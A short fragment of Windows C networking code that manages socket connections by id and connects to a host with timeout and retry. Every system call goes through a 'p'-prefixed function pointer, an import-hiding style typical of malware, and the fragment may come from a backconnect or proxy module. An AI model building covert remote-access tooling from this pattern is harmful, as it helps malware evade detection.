void DisconnBid( USHORT uBid ) { pWaitForSingleObject( hThreadMutex, INFINITE ); int k = FindConn( uBid ); if ( k != -1 ) { ThreadConnection Conn = Connections[ k ]; Connections[ k ].thread_s = INVALID_SOCKET; if ( Conn.thread_s != INVALID_SOCKET ) { pshutdown( Conn.thread_s, FD_READ ); pshutdown( Conn.thread_s, SD_SEND ); pclosesocket( Conn.thread_s ); } dwConnections--; if ( dwConnections ) { Connections[ k ] = Connections[ dwConnections ]; } } pReleaseMutex( hThreadMutex ); }
void KillAllConnections() { pWaitForSingleObject( hThreadMutex, INFINITE ); for ( DWORD i = 0; i < dwConnections; i++ ) { ThreadConnection Conn = Connections[ i ]; pshutdown( Conn.thread_s, FD_READ ); pshutdown( Conn.thread_s, SD_SEND ); pclosesocket( Conn.thread_s ); } m_memset( &Connections, 0, sizeof( ThreadConnection ) * dwConnections ); dwConnections = 0; pReleaseMutex( hThreadMutex ); return; }
SOCKET MyConnect( char *Host, int Port ) { LPHOSTENT lpHost = (LPHOSTENT)pgethostbyname( (const char*)Host ); if ( lpHost == NULL ) { return -1; } sockaddr_in SockAddr; SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = **(unsigned long**)lpHost->h_addr_list; SockAddr.sin_port = (USHORT)phtons( (unsigned short)Port ); ConnectionData connData; connData.SockAddr = SockAddr; for(int i=0; i<3; i++) { SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, 0 ); if( Socket == -1 ) return -1; connData.Socket = Socket; HANDLE ConnectThreadHandle = (HANDLE)pCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ConnectThread, &connData, NULL, 0); if((long)pWaitForSingleObject(ConnectThreadHandle, 10000) == WAIT_TIMEOUT) { if((int)pshutdown(Socket, 2) == SOCKET_ERROR) { } pTerminateThread(ConnectThreadHandle, 1); } DWORD exitCode = 0; BOOL res = (BOOL)pGetExitCodeThread(ConnectThreadHandle, &exitCode); //wsprintfA(&str[0], "EC:%d", exitCode); //OutputDebugStringA(&str[0]); if(res && exitCode == 0) return Socket; } return -1; }